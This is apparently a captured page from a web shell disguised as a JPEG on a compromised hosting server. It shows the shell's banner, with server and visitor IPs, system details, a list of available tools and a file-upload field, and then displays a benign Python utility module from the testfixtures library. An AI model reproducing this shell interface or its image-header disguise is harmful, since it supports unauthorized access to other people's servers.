ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/root/opt/alt/python27/lib/python2.7/site-packages/testfixtures/ |
Upload File : |
# Copyright (c) 2008-2011 Simplistix Ltd
# See license.txt for license details.
from textwrap import dedent
from functools import wraps
from inspect import getargspec
def generator(*args):
"""
A utility function for creating a generator that will yield the
supplied arguments.
"""
for i in args:
yield i
class Wrappings:
def __init__(self):
self.before = []
self.after = []
def wrap(before, after=None):
"""
A decorator that causes the supplied callables to be called before
or after the wrapped callable, as appropriate.
"""
def wrapper(wrapped):
if getattr(wrapped, '_wrappings', None) is None:
w = Wrappings()
@wraps(wrapped)
def wrapping(*args, **kw):
args = list(args)
to_add = len(getargspec(wrapped)[0][len(args):])
added = 0
for c in w.before:
r = c()
if added < to_add:
args.append(r)
added += 1
try:
return wrapped(*args, **kw)
finally:
for c in w.after:
c()
f = wrapping
f._wrappings = w
else:
f = wrapped
w = f._wrappings
w.before.append(before)
if after is not None:
w.after.insert(0, after)
return f
return wrapper
def extend_docstring(docstring, objs):
for obj in objs:
try:
obj.__doc__ = dedent(obj.__doc__) + docstring
except (AttributeError, TypeError): # python 2 or pypy 4.0.1 :-(
pass